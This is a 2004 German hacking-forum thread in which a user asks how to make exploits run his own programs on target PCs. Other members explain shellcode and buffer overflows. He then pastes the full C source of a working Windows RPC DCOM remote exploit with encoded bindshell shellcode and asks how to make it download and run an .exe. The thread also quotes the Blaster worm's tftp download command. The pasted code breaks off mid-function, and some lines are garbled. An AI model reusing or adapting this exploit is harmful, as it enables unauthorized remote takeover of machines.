Hackerboard Wiki HaboBlog
Hackerboard bei Facebook Hackerboard bei Google+ Hackerboard bei Twitter

[HaBo]

 
Virenschutz · Tools & Aggressive Software Tips zum Kampf gegen gegen Viren, Trojaner, CryptoSoft und Programme, die erstellt wurden um Schaden anzurichten, werden hier behandelt. Aber auch Tools aus dem Security Bereich sind hier richtig.

Exploit zum Ausführen eines Programms

Diskussion: Exploit zum Ausführen eines Programms im Forum Virenschutz · Tools & Aggressive Software, in der Kategorie Security Area; Anzeige Hi Leute ich hab noch eine Frage zu Exploits. Die meisten Exploits sind ja dazu da Programme zum Absturz ...

Antwort
Alt 16.04.04, 19:16   #1 (permalink)
 
Registriert seit: 27.03.04
Frosty Leistung: Facit NTK
Frosty eine Nachricht über ICQ schicken
Likes: 0
Standard Exploit zum Ausführen eines Programms

Anzeige

Hi Leute ich hab noch eine Frage zu Exploits. Die meisten Exploits sind ja dazu da Programme zum Absturz zu bringen und damit ein Neustarten des PCs zu erzwingen. Allerdings würde es mir mehr nützen selbstgeschriebene Programme auf dem Zielrechner zu starten. Ich lese immer davon das Exploits durch Sicherheitslücken in Programme in der Lage sind eigenen Code auszuführen, ich hoffe das soll bedeuten eigene Programme zu starten... wenn nicht korrigiert mich bitte . Ich habe nach solchen Exploits gesucht allerdings keins gefunden. Gibt es sowas überhaupt? Und wenn ja, wo?
Und noch eine Frage: Es ist ja möglich die Standartfreigaben zu nutzen um sich Zugriff auf die Festplatten zu verschaffen, wenn man das Passwort kennt. Kann man sich eigentlich auch über Netzwerk auf dem PC Anmelden und quasi über diesen Weg Befehle ausführen?

Frosty ist offline   Mit Zitat antworten
Alt 16.04.04, 19:22   #2 (permalink)
Moderator
 
Benutzerbild von Elderan
 
Registriert seit: 30.03.04
Elderan Leistung: 8086
Likes: 14
Standard

Naja man sendet eine Datei an den anderen PC und startet es dort dann lokal.

z.B. geht das mit dem Nachrichten Dienst von Win. RPC Exploit (danach suchen)

Oder schau mal hier:
http://www.heise.de/security/dienste...heck/demos/ie/
Elderan ist offline   Mit Zitat antworten
   
HaBOT
 
- Anzeige -

Werbung ist gerade online    
Alt 16.04.04, 19:29   #3 (permalink)
Themenstarter
 
Registriert seit: 27.03.04
Frosty Leistung: Facit NTK
Frosty eine Nachricht über ICQ schicken
Likes: 0
Standard

Kannst du dafür n Beispiel geben wie man das über den Nachrichtendienst macht? Oder das etwas ausführlicher erklären?
Frosty ist offline   Mit Zitat antworten
Alt 16.04.04, 19:56   #4 (permalink)
 
Benutzerbild von BasicAvid
 
Registriert seit: 17.03.04
BasicAvid Leistung: Facit NTK
Likes: 2
Standard

hhhmmmm schau mal!

Ergebnisse 1 - 10 von ungefähr 49 Seiten auf Deutsch für "Was ist ein exploit" . (0.39 Sekunden) www.google.de

Es gibt local und remote-Exploits und das RPC-DCOM Exploit findest eigentlich auch recht leicht! Die Seiten was google ausspuckt erklären Dir denn rest!
Oder sagen wir mal 5% davon!
__________________
Mfg Basic Avid
- Use it or be used! -
BasicAvid ist offline   Mit Zitat antworten
Alt 17.04.04, 13:58   #5 (permalink)
Themenstarter
 
Registriert seit: 27.03.04
Frosty Leistung: Facit NTK
Frosty eine Nachricht über ICQ schicken
Likes: 0
Standard

Ich hab das RPC-DCOM und noch n paar andere, aber durch die kackt ja nur der pc ab. Ich will ja auf dem Programme zum laufen bringen oder Befehle ausführen, evtl. auch eigene Programme...
/edit:
Vorerst möchte ich mich für die schnelle Antwort entschuldigen, da ich mir vorerst nicht die Arbeit gemacht hatte unter google zu suchen sry.
Folgendes hab ich gefunden:
Auf befallenenen Systemen (A) startet der Wurm einen TFTP-Server und greift weitere Windows-Systeme (B) auf Port 135 an. War ein Angriff erfolgreich, wird der eingeschleuste Code ausgeführt, der auf System B eine Shell auf Port 4444 öffnet. System A veranlasst System B mittels TFTP (tftp <host a> get msblast.exe) die Datei msblast.exe in das Verzeichnis %WinDir%\System32 nachzuladen und zu starten. Anschließend installiert sich der Wurm auf System B, schließt Port 4444, startet einen TFTP-Server und greift weitere Systeme an.
--------
Das heist um eigenen Code auszuführen muss man auf dem Infizierten System eine Shell auf Port 4444 öffnen... was genau ist hier mit einer Shell gemeint und wie mach ich das? hat jemand ein Exploit dazu?
Frosty ist offline   Mit Zitat antworten
Alt 17.04.04, 16:08   #6 (permalink)
Tec
Senior Member
 
Registriert seit: 02.10.01
Tec Leistung: Facit NTK
Likes: 1
Standard

Wenn du Exploits suchst, biste hier an der falschen Adresse. Mehr als Erklärungen abzugeben wie so ein Sploit funzt wirste hier nicht an Infos erhalten. Wenn du nicht mal weist was eine Shell ist dann lass die Finger von den Sploits. Die sind eindeutig eine Stufe zu hoch für dich.
Tec ist offline   Mit Zitat antworten
Alt 17.04.04, 17:16   #7 (permalink)
Moderator
 
Benutzerbild von Elderan
 
Registriert seit: 30.03.04
Elderan Leistung: 8086
Likes: 14
Standard

Zitat:
Ich hab das RPC-DCOM und noch n paar andere, aber durch die kackt ja nur der pc ab. Ich will ja auf dem Programme zum laufen bringen oder Befehle ausführen, evtl. auch eigene Programme...
Lasst mich nicht lügen, aber ich glaube dieser Sorbig (der Virus der den PC herrunterfahren lässt), hat sich über diesen Bug ausgebreitet.
Auch wenn er behoben wurde, es gibt da immer noch genug schwachstellen
Elderan ist offline   Mit Zitat antworten
Alt 18.04.04, 12:51   #8 (permalink)
Themenstarter
 
Registriert seit: 27.03.04
Frosty Leistung: Facit NTK
Frosty eine Nachricht über ICQ schicken
Likes: 0
Standard

Wenn ich hier nicht mehr finde als Erklärungen wie ein Exploit funktioniert scheint es für euch ja auch eine stufe zu hoch zu sein oder? Komm spass bei seite, ich weis schon was eine shell ist aber nicht ganz genau wie es an dieser stelle gemeint ist und wie soetwas funktioniert. Fals sich jemand damit auskennt kann er mir doch sagen was gemeint ist, oder ich muss halt weiter alleine suchen, ein ist sicher: ich werde nicht soeinfach aufgeben. Ich hab mich nicht solange damit beschäftigt um mir das jetzt sagen zulassen.
Frosty ist offline   Mit Zitat antworten
Alt 18.04.04, 12:59   #9 (permalink)
 
Registriert seit: 16.04.04
Zirias Leistung: Facit NTK
Zirias eine Nachricht über ICQ schicken Zirias eine Nachricht über AIM schicken Zirias eine Nachricht über Yahoo! schicken
Likes: 0
Standard

Mir scheint für dich ist _einiges_ eine Stufe zu hoch

Für einen Exploit brauchst du erst mal einen Code, der dir eine Shell öffnet. Natürlich möglichst klein, am besten von vorneherin in Assembler geschrieben. Wenn der Server dann beispielsweise einen buffer overflow hat, schreibst du den Shellcode in den regulären buffer und hinter dem Buffer liegt der Stack, auf dem du die Rücksprungadresse verändern kannst, so dass nach dem IO-Call nicht in's eigentliche Programm zurückgesprungen wird sondern genau auf deinen Shellcode -> dein Code wird ausgeführt.

Vielleicht hat dir das jetzt wenigstens so viel gebracht, einzusehen, dass du davon einfach keine Ahnung hast und vielleicht erst mal grundlegende Dinge über Prozesse, Tasks, Speicherverwaltung, Buffer und Stacks in C, usw lernen musst!

Greets, Ziri
Zirias ist offline   Mit Zitat antworten
Alt 18.04.04, 13:29   #10 (permalink)
Themenstarter
 
Registriert seit: 27.03.04
Frosty Leistung: Facit NTK
Frosty eine Nachricht über ICQ schicken
Likes: 0
Standard

Hm gut, ich habs mir ein paar mal durchgelesen. Wenn ich das richtig verstanden hab muss der Shellcode quasi der Code meines Programms den ich ausführen will in Assembler in den Buffer geschrieben werden (wie auch immer). Dann änder ich die Rücksprungadressen des angegriffenen Programms im Stack auf mein Programm also den Shellcode, damit der Code ausgeführt wird anstatt das eigentlich Programm... soweit so gut. Einsehen muss ich das ich davon wirklich keine Ahnung hab, da ich mich weder mit Assembler noch mit Speicherverwaltung usw. beschäftigt habe (da ich wenigs Zeit hab). Das muss aber doch nicht heisen, dass das zu hoch für mich ist. Sowas kann man doch lernen. Ich werde wohl doch nicht um Assembler herumkommen. Aber danke schonmal für eure hilfe.
Frosty ist offline   Mit Zitat antworten
Alt 18.04.04, 13:44   #11 (permalink)
 
Registriert seit: 16.04.04
Zirias Leistung: Facit NTK
Zirias eine Nachricht über ICQ schicken Zirias eine Nachricht über AIM schicken Zirias eine Nachricht über Yahoo! schicken
Likes: 0
Standard

Wenn du einen Exploit so gestalten willst, dass er deinen Code ausführt (im allgemeinen eben einen Code, der eine Shell öffnet), dann führt kein Weg an Assembler vorbei.
Zirias ist offline   Mit Zitat antworten
Alt 18.04.04, 14:12   #12 (permalink)
 
Benutzerbild von BasicAvid
 
Registriert seit: 17.03.04
BasicAvid Leistung: Facit NTK
Likes: 2
Standard

Nochmal mal schnell zum RPC-DCOM-Exploit!
Es gab oder gibt von irgend welchen Japanern so ein Exploit das denn PC-Fernsteuern konnte!
Hab ich mal auf Heise gelesen!
__________________
Mfg Basic Avid
- Use it or be used! -
BasicAvid ist offline   Mit Zitat antworten
Alt 27.04.04, 14:26   #13 (permalink)
Themenstarter
 
Registriert seit: 27.03.04
Frosty Leistung: Facit NTK
Frosty eine Nachricht über ICQ schicken
Likes: 0
Standard

So ich glaub ich habe das richtige Exploit gefunden... Das Problem ist das ich davon leider nicht viel verstehe. Wenn mir jemand diese komischen Nummern, oder was das sein sollen, unter: unsigned char bindstr[]={ erklären könnte wäre ich ihm sehr dankbar
2te Frage: Wie lässt sich das Exploit modifizieren oder benutzen, dass es eine .exe Datei von einem FTP Server downloaded und ausführt?

Hier ist das Exploit, das ich gefunden habe ich hoffe ihr könnt damit was anfangen...


/* Windows remote RPC DCOM exploit
* Coded by oc192
*
* Includes 2 universal targets, 1 for win2k, and 1 for winXP. This exploit uses
* ExitThread in its shellcode to prevent the RPC service from crashing upon
* successful exploitation. It also has several other options including definable
* bindshell and attack ports.
*
* Features:
*
* -d destination host to attack.
*
* -p for port selection as exploit works on ports other than 135(139,445,539 etc)
*
* -r for using a custom return address.
*
* -t to select target type (Offset) , this includes universal offsets for -
* win2k and winXP (Regardless of service pack)
*
* -l to select bindshell port on remote machine (Default: 666)
*
* - Shellcode has been modified to call ExitThread, rather than ExitProcess, thus
* preventing crash of RPC service on remote machine.
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission to
* do so.
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>

/* xfocus start */
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00, 0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00, 0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00, 0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8, 0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00 ,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2 ,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00 ,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00 ,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4 ,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00 ,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00 ,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00 ,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00 ,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00 ,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00 ,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00 ,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00 ,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00 ,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00 ,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00 ,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00 ,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11 ,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00 ,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00 ,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57 ,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00 ,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85 ,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00 ,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00 ,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00 ,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00 ,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00 ,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00 ,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00 };
/* end xfocus */

int type=0;
struct
{
char *os;
u_long ret;
}
targets[] =
{
{ "[Win2k-Universal]", 0x0018759F },
{ "[WinXP-Universal]", 0x0100139d },
}, v;


void usage(char *prog)
{
int i;
printf("RPC DCOM exploit coded by .:[oc192.us]:. Security\n");
printf("Usage:\n\n");
printf("%s -d <host> [options]\n", prog);
printf("Options:\n");
printf(" -d: Hostname to attack [Required]\n");
printf(" -t: Type [Default: 0]\n");
printf(" -r: Return address [Default: Selected from target]\n");
printf(" -p: Attack port [Default: 135]\n");
printf(" -l: Bindshell port [Default: 666]\n\n");
printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(v); i++)
printf(" %d [0x%.8x]: %s\n", i, targets[i].ret, targets[i].os);
exit(0);
}

unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\ x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\ x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"

"\xff\xff\xff\xff" /* return address */

"\xcc\xe0\xfd\x7f" /* primary thread data block */
"\xcc\xe0\xfd\x7f" /* primary thread data block */

/* bindshell no RPC crash, defineable spawn port */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\ x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\ xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\ x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\ xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\ xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\ xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\ x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\ xdf\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\ x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\ x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\ x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\ x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\ xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\ xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\ xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\ xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\ xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\ xe9\x1a\x1f\x50"
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\ x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\ x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\ x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\ xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\ x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\ x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\ xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\ xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\ xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\ x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\ x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\ x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\ xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04" ;

/* xfocus start */
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00 ,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00 ,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00
};
/* end xfocus */

/* Not ripped from teso */
void con(int sockfd)
{
char rb[1500];
fd_set fdreadme;
int i;

FD_ZERO(&fdreadme);
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);

while(1)
{
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) < 0 ) break;
if(FD_ISSET(sockfd, &fdreadme))
{
if((i = recv(sockfd, rb, sizeof(rb), 0)) < 0)
{
printf("[-] Connection lost..\n");
exit(1);
}
if(write(1, rb, i) < 0) break;
}

if(FD_ISSET(0, &fdreadme))
{
if((i = read(0, rb, sizeof(rb))) < 0)
{
printf("[-] Connection lost..\n");
exit(1);
}
if (send(sockfd, rb, i, 0) < 0) break;
}
usleep(10000);
}

printf("[-] Connection closed by foreign host..\n");

exit(0);
}

int main(int argc, char **argv)
{
int len, len1, sockfd, c, a;
unsigned long ret;
unsigned short port = 135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
unsigned short lportl=666; /* drg */
char lport[4] = "\x00\xFF\xFF\x8b"; /* drg */
struct hostent *he;
struct sockaddr_in their_addr;
static char *hostname=NULL;

if(argc<2)
{
usage(argv[0]);
}

while((c = getopt(argc, argv, "d:t:r:p:l:"))!= EOF)
{
switch (c)
{
case 'd':
hostname = optarg;
break;
case 't':
type = atoi(optarg);
if((type > 1) || (type < 0))
{
printf("[-] Select a valid target:\n");
for(a = 0; a < sizeof(targets)/sizeof(v); a++)
printf(" %d [0x%.8x]: %s\n", a, targets[a].ret, targets[a].os);
return 1;
}
break;
case 'r':
targets[type].ret = strtoul(optarg, NULL, 16);
break;
case 'p':
port = atoi(optarg);
if((port > 65535) || (port < 1))
{
printf("[-] Select a port between 1-65535\n");
return 1;
}
break;
case 'l':
lportl = atoi(optarg);
if((port > 65535) || (port < 1))
{
printf("[-] Select a port between 1-65535\n");
return 1;
}
break;
default:
usage(argv[0]);
return 1;
}
}

if(hostname==NULL)
{
printf("[-] Please enter a hostname with -d\n");
exit(1);
}

printf("RPC DCOM remote exploit - .:[oc192.us]:. Security\n");
printf("[+] Resolving host..\n");

if((he = gethostbyname(hostname)) == NULL)
{
printf("[-] gethostbyname: Couldnt resolve hostname\n");
exit(1);
}

printf("[+] Done.\n");

printf("-- Target: %s:%s:%i, Bindshell:%i, RET=[0x%.8x]\n",
targets[type].os, hostname, port, lportl, targets[type].ret);

/* drg */
lportl=htons(lportl);
memcpy(&lport[1], &lportl, 2);
*(long*)lport = *(long*)lport ^ 0x9432BF80;
memcpy(&sc[471],&lport,4);

memcpy(sc+36, (unsigned char *) &targets[type].ret, 4);

their_addr.sin_family = AF_INET;
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
their_addr.sin_port = htons(port);

if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("[-] Socket failed");
return(0);
}

if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
{
perror("[-] Connect failed");
return(0);
}

/* xfocus start */
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);

*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
*(unsigned long *)(request2+=*(unsigned long *)(request2++sizeof(sc)/2;

memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);

*(unsigned long *)(buf2+=*(unsigned long *)(buf2++sizeof(sc)-0xc;


*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
